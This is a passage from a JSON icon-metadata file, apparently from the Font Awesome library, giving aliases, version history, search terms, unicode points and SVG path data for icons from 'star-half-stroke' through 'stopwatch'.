        "path": "M293.3 .6c10.9 2.5 18.6 12.2 18.6 23.4V408.7c0 8.9-4.9 17-12.7 21.2L151 509.1c-8.1 4.3-17.9 3.7-25.3-1.7s-11.2-14.5-9.7-23.5l26.2-155.6L31.1 218.2c-6.5-6.4-8.7-15.9-5.9-24.5s10.3-14.9 19.3-16.3l153.2-22.6L266.3 13.5c4.9-10.1 16.1-15.4 27-12.9zM263.9 128.4l-28.6 58.8c-3.5 7.1-10.2 12.1-18.1 13.3L99 217.9 184.9 303c5.5 5.5 8.1 13.3 6.8 21L171.4 443.7l92.5-49.4V128.4z"
      }
    },
    "free": ["regular", "solid"]
  },
  "star-half-stroke": {
    "aliases": {
      "names": ["star-half-alt"],
      "unicodes": {
        "secondary": ["10f5c0"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "achievement",
        "award",
        "rating",
        "score",
        "star-half-empty",
        "star-half-full"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5c0",
    "label": "Star Half Stroke",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 376.4l.1-.1 26.4 14.1 85.2 45.5-16.5-97.6-4.8-28.7 20.7-20.5 70.1-69.3-96.1-14.2-29.3-4.3-12.9-26.6L320.1 86.9l-.1 .3V376.4zm175.1 98.3c2 12-3 24.2-12.9 31.3s-23 8-33.8 2.3L320.1 439.8 191.8 508.3C181 514 167.9 513.1 158 506s-14.9-19.3-12.9-31.3L169.8 329 65.6 225.9c-8.6-8.5-11.7-21.2-7.9-32.7s13.7-19.9 25.7-21.7L227 150.3 291.4 18c5.4-11 16.5-18 28.8-18s23.4 7 28.8 18l64.3 132.3 143.6 21.2c12 1.8 22 10.2 25.7 21.7s.7 24.2-7.9 32.7L470.5 329l24.6 145.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 376.4l.1-.1 26.4 14.1 85.2 45.5-16.5-97.6-4.8-28.7 20.7-20.5 70.1-69.3-96.1-14.2-29.3-4.3-12.9-26.6L320.1 86.9l-.1 .3V376.4zm175.1 98.3c2 12-3 24.2-12.9 31.3s-23 8-33.8 2.3L320.1 439.8 191.8 508.3C181 514 167.9 513.1 158 506s-14.9-19.3-12.9-31.3L169.8 329 65.6 225.9c-8.6-8.5-11.7-21.2-7.9-32.7s13.7-19.9 25.7-21.7L227 150.3 291.4 18c5.4-11 16.5-18 28.8-18s23.4 7 28.8 18l64.3 132.3 143.6 21.2c12 1.8 22 10.2 25.7 21.7s.7 24.2-7.9 32.7L470.5 329l24.6 145.7z"
      },
      "regular": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M341.5 13.5C337.5 5.2 329.1 0 319.9 0s-17.6 5.2-21.6 13.5L229.7 154.8 76.5 177.5c-9 1.3-16.5 7.6-19.3 16.3s-.5 18.1 5.9 24.5L174.2 328.4 148 483.9c-1.5 9 2.2 18.1 9.7 23.5s17.3 6 25.3 1.7l137-73.2 137 73.2c8.1 4.3 17.9 3.7 25.3-1.7s11.2-14.5 9.7-23.5L465.6 328.4 576.8 218.2c6.5-6.4 8.7-15.9 5.9-24.5s-10.3-14.9-19.3-16.3L410.1 154.8 341.5 13.5zM320 384.7V79.1l52.5 108.1c3.5 7.1 10.2 12.1 18.1 13.3l118.3 17.5L423 303c-5.5 5.5-8.1 13.3-6.8 21l20.2 119.6L331.2 387.5c-3.5-1.9-7.4-2.8-11.2-2.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M341.5 13.5C337.5 5.2 329.1 0 319.9 0s-17.6 5.2-21.6 13.5L229.7 154.8 76.5 177.5c-9 1.3-16.5 7.6-19.3 16.3s-.5 18.1 5.9 24.5L174.2 328.4 148 483.9c-1.5 9 2.2 18.1 9.7 23.5s17.3 6 25.3 1.7l137-73.2 137 73.2c8.1 4.3 17.9 3.7 25.3-1.7s11.2-14.5 9.7-23.5L465.6 328.4 576.8 218.2c6.5-6.4 8.7-15.9 5.9-24.5s-10.3-14.9-19.3-16.3L410.1 154.8 341.5 13.5zM320 384.7V79.1l52.5 108.1c3.5 7.1 10.2 12.1 18.1 13.3l118.3 17.5L423 303c-5.5 5.5-8.1 13.3-6.8 21l20.2 119.6L331.2 387.5c-3.5-1.9-7.4-2.8-11.2-2.8z"
      }
    },
    "free": ["regular", "solid"]
  },
  "star-of-david": {
    "aliases": {
      "unicodes": {
        "composite": ["2721"],
        "secondary": ["10f69a"]
      }
    },
    "changes": [
      "5.3.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "David",
        "Jew",
        "Jewish",
        "jewish",
        "judaism",
        "religion",
        "star",
        "star of David"
      ]
    },
    "styles": ["solid"],
    "unicode": "f69a",
    "label": "Star Of David",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767602,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M404.2 309.5L383.1 344h42.3l-21.1-34.5zM371.4 256l-54-88H194.6l-54 88 54 88H317.4l54-88zm65.7 0l53.4 87c3.6 5.9 5.5 12.7 5.5 19.6c0 20.7-16.8 37.4-37.4 37.4H348.7l-56.2 91.5C284.8 504.3 270.9 512 256 512s-28.8-7.7-36.6-20.5L163.3 400H53.4C32.8 400 16 383.2 16 362.6c0-6.9 1.9-13.7 5.5-19.6l53.4-87L21.5 169c-3.6-5.9-5.5-12.7-5.5-19.6C16 128.8 32.8 112 53.4 112H163.3l56.2-91.5C227.2 7.7 241.1 0 256 0s28.8 7.7 36.6 20.5L348.7 112H458.6c20.7 0 37.4 16.8 37.4 37.4c0 6.9-1.9 13.7-5.5 19.6l-53.4 87zm-54-88l21.1 34.5L425.4 168H383.1zM283 112L256 68l-27 44h54zM128.9 168H86.6l21.1 34.5L128.9 168zM107.8 309.5L86.6 344h42.3l-21.1-34.5zM229 400l27 44 27-44H229z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M404.2 309.5L383.1 344h42.3l-21.1-34.5zM371.4 256l-54-88H194.6l-54 88 54 88H317.4l54-88zm65.7 0l53.4 87c3.6 5.9 5.5 12.7 5.5 19.6c0 20.7-16.8 37.4-37.4 37.4H348.7l-56.2 91.5C284.8 504.3 270.9 512 256 512s-28.8-7.7-36.6-20.5L163.3 400H53.4C32.8 400 16 383.2 16 362.6c0-6.9 1.9-13.7 5.5-19.6l53.4-87L21.5 169c-3.6-5.9-5.5-12.7-5.5-19.6C16 128.8 32.8 112 53.4 112H163.3l56.2-91.5C227.2 7.7 241.1 0 256 0s28.8 7.7 36.6 20.5L348.7 112H458.6c20.7 0 37.4 16.8 37.4 37.4c0 6.9-1.9 13.7-5.5 19.6l-53.4 87zm-54-88l21.1 34.5L425.4 168H383.1zM283 112L256 68l-27 44h54zM128.9 168H86.6l21.1 34.5L128.9 168zM107.8 309.5L86.6 344h42.3l-21.1-34.5zM229 400l27 44 27-44H229z"
      }
    },
    "free": ["solid"]
  },
  "star-of-life": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f621"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["doctor", "emt", "first aid", "health", "medical"]
    },
    "styles": ["solid"],
    "unicode": "f621",
    "label": "Star Of Life",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M208 32c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V172.9l122-70.4c15.3-8.8 34.9-3.6 43.7 11.7l16 27.7c8.8 15.3 3.6 34.9-11.7 43.7L352 256l122 70.4c15.3 8.8 20.5 28.4 11.7 43.7l-16 27.7c-8.8 15.3-28.4 20.6-43.7 11.7L304 339.1V480c0 17.7-14.3 32-32 32H240c-17.7 0-32-14.3-32-32V339.1L86 409.6c-15.3 8.8-34.9 3.6-43.7-11.7l-16-27.7c-8.8-15.3-3.6-34.9 11.7-43.7L160 256 38 185.6c-15.3-8.8-20.5-28.4-11.7-43.7l16-27.7C51.1 98.8 70.7 93.6 86 102.4l122 70.4V32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M208 32c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V172.9l122-70.4c15.3-8.8 34.9-3.6 43.7 11.7l16 27.7c8.8 15.3 3.6 34.9-11.7 43.7L352 256l122 70.4c15.3 8.8 20.5 28.4 11.7 43.7l-16 27.7c-8.8 15.3-28.4 20.6-43.7 11.7L304 339.1V480c0 17.7-14.3 32-32 32H240c-17.7 0-32-14.3-32-32V339.1L86 409.6c-15.3 8.8-34.9 3.6-43.7-11.7l-16-27.7c-8.8-15.3-3.6-34.9 11.7-43.7L160 256 38 185.6c-15.3-8.8-20.5-28.4-11.7-43.7l16-27.7C51.1 98.8 70.7 93.6 86 102.4l122 70.4V32z"
      }
    },
    "free": ["solid"]
  },
  "staylinked": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3f5",
    "label": "StayLinked",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 440 512\"><path d=\"M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z\"/></svg>",
        "viewBox": [0, 0, 440, 512],
        "width": 440,
        "height": 512,
        "path": "M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z"
      }
    },
    "free": ["brands"]
  },
  "steam": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1b6",
    "label": "Steam",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z"
      }
    },
    "free": ["brands"]
  },
  "steam-symbol": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3f6",
    "label": "Steam Symbol",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014458,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z"
      }
    },
    "free": ["brands"]
  },
  "sterling-sign": {
    "aliases": {
      "names": ["gbp", "pound-sign"],
      "unicodes": {
        "composite": ["a3"],
        "secondary": ["10f154"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Pound Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f154",
    "label": "Sterling Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M112 160.4c0-35.5 28.8-64.4 64.4-64.4c6.9 0 13.8 1.1 20.4 3.3l81.2 27.1c16.8 5.6 34.9-3.5 40.5-20.2s-3.5-34.9-20.2-40.5L217 38.6c-13.1-4.4-26.8-6.6-40.6-6.6C105.5 32 48 89.5 48 160.4V224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48v44.5c0 17.4-4.7 34.5-13.7 49.4L4.6 431.5c-5.9 9.9-6.1 22.2-.4 32.2S20.5 480 32 480H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H88.5l.7-1.1C104.1 390 112 361.5 112 332.5V288H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V160.4z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M112 160.4c0-35.5 28.8-64.4 64.4-64.4c6.9 0 13.8 1.1 20.4 3.3l81.2 27.1c16.8 5.6 34.9-3.5 40.5-20.2s-3.5-34.9-20.2-40.5L217 38.6c-13.1-4.4-26.8-6.6-40.6-6.6C105.5 32 48 89.5 48 160.4V224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H48v44.5c0 17.4-4.7 34.5-13.7 49.4L4.6 431.5c-5.9 9.9-6.1 22.2-.4 32.2S20.5 480 32 480H288c17.7 0 32-14.3 32-32s-14.3-32-32-32H88.5l.7-1.1C104.1 390 112 361.5 112 332.5V288H224c17.7 0 32-14.3 32-32s-14.3-32-32-32H112V160.4z"
      }
    },
    "free": ["solid"]
  },
  "stethoscope": {
    "aliases": {
      "unicodes": {
        "composite": ["1fa7a"],
        "secondary": ["10f0f1"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.7",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "diagnosis",
        "doctor",
        "general practitioner",
        "heart",
        "hospital",
        "infirmary",
        "medicine",
        "office",
        "outpatient",
        "stethoscope"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0f1",
    "label": "Stethoscope",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M142.4 21.9c5.6 16.8-3.5 34.9-20.2 40.5L96 71.1V192c0 53 43 96 96 96s96-43 96-96V71.1l-26.1-8.7c-16.8-5.6-25.8-23.7-20.2-40.5s23.7-25.8 40.5-20.2l26.1 8.7C334.4 19.1 352 43.5 352 71.1V192c0 77.2-54.6 141.6-127.3 156.7C231 404.6 278.4 448 336 448c61.9 0 112-50.1 112-112V265.3c-28.3-12.3-48-40.5-48-73.3c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V336c0 97.2-78.8 176-176 176c-92.9 0-168.9-71.9-175.5-163.1C87.2 334.2 32 269.6 32 192V71.1c0-27.5 17.6-52 43.8-60.7l26.1-8.7c16.8-5.6 34.9 3.5 40.5 20.2zM480 224a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M142.4 21.9c5.6 16.8-3.5 34.9-20.2 40.5L96 71.1V192c0 53 43 96 96 96s96-43 96-96V71.1l-26.1-8.7c-16.8-5.6-25.8-23.7-20.2-40.5s23.7-25.8 40.5-20.2l26.1 8.7C334.4 19.1 352 43.5 352 71.1V192c0 77.2-54.6 141.6-127.3 156.7C231 404.6 278.4 448 336 448c61.9 0 112-50.1 112-112V265.3c-28.3-12.3-48-40.5-48-73.3c0-44.2 35.8-80 80-80s80 35.8 80 80c0 32.8-19.7 61-48 73.3V336c0 97.2-78.8 176-176 176c-92.9 0-168.9-71.9-175.5-163.1C87.2 334.2 32 269.6 32 192V71.1c0-27.5 17.6-52 43.8-60.7l26.1-8.7c16.8-5.6 34.9 3.5 40.5 20.2zM480 224a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "sticker-mule": {
    "changes": ["5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3f7",
    "label": "Sticker Mule",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 5-10.3 5-2.6 0-5.7-3-6.2-5-2-5.7 1.9-25.9-3.6-25.9-3.6 0-12.3 24.8-17 25.8-5.2 1.3-27.9-11.4-75.1 18-25.3 13.2-86.9 65.2-87 65.3-6.7 4.7-20 4.7-35.5 16-44.4 30.1-109.6 9.4-110.7 9-110.6-26.8-128-15.2-159 11.5-20.8 17.9-23.7 36.5-24.2 38.9-4.2 20.4 5.2 48.3 6.7 64.3 1.8 19.3-2.7 17.7 7.7 98.3.5 1 4.1 0 5.1 1.5 0 8.4-3.8 12.1-4.1 13-1.5 4.5-1.5 10.5 0 16 2.3 8.2 8.2 37.2 8.2 46.9 0 41.8.4 44 2.6 49.4 3.9 10 12.5 9.1 17 12 3.1 3.5-.5 8.5 1 12.5.5 2 3.6 4 6.2 5 9.2 3.6 27 .3 29.9-2.5 1.6-1.5.5-4.5 3.1-5 5.1 0 10.8-.5 14.4-2.5 5.1-2.5 4.1-6 1.5-10.5-.4-.8-7-13.3-9.8-16-2.1-2-5.1-3-7.2-4.5-5.8-4.9-10.3-19.4-10.3-19.5-4.6-19.4-10.3-46.3-4.1-66.8 4.6-17.2 39.5-87.7 39.6-87.8 4.1-6.5 17-11.5 27.3-7 6 1.9 19.3 22 65.4 30.9 47.9 8.7 97.4-2 112.2-2 2.8 2-1.9 13-.5 38.9 0 26.4-.4 13.7-4.1 29.9-2.2 9.7 3.4 23.2-1.5 46.9-1.4 9.8-9.9 32.7-8.2 43.4.5 1 1 2 1.5 3.5.5 4.5 1.5 8.5 4.6 10 7.3 3.6 12-3.5 9.8 11.5-.7 3.1-2.6 12 1.5 15 4.4 3.7 30.6 3.4 36.5.5 2.6-1.5 1.6-4.5 6.4-7.4 1.9-.9 11.3-.4 11.3-6.5.3-1.8-9.2-19.9-9.3-20-2.6-3.5-9.2-4.5-11.3-8-6.9-10.1-1.7-52.6.5-59.4 3-11 5.6-22.4 8.7-32.4 11-42.5 10.3-50.6 16.5-68.3.8-1.8 6.4-23.1 10.3-29.9 9.3-17 21.7-32.4 33.5-47.4 18-22.9 34-46.9 52-69.8 6.1-7 8.2-13.7 18-8 10.8 5.7 21.6 7 31.9 17 14.6 12.8 10.2 18.2 11.8 22.9 1.5 5 7.7 10.5 14.9 9.5 10.4-2 13-2.5 13.4-2.5 2.6-.5 5.7-5 7.2-8 3.1-5.5 7.2-9 7.2-16.5 0-7.7-.4-2.8-20.6-52.9z"
      }
    },
    "free": ["brands"]
  },
  "stop": {
    "aliases": {
      "unicodes": {
        "composite": ["23f9"],
        "secondary": ["10f04d"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["block", "box", "square", "stop", "stop button"]
    },
    "styles": ["solid"],
    "unicode": "f04d",
    "label": "Stop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766675,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 128C0 92.7 28.7 64 64 64H320c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 128C0 92.7 28.7 64 64 64H320c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128z"
      }
    },
    "free": ["solid"]
  },
  "stopwatch": {
    "aliases": {
      "unicodes": {
        "composite": ["23f1"],
        "secondary": ["10f2f2"]
      }
    },
    "changes": [
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
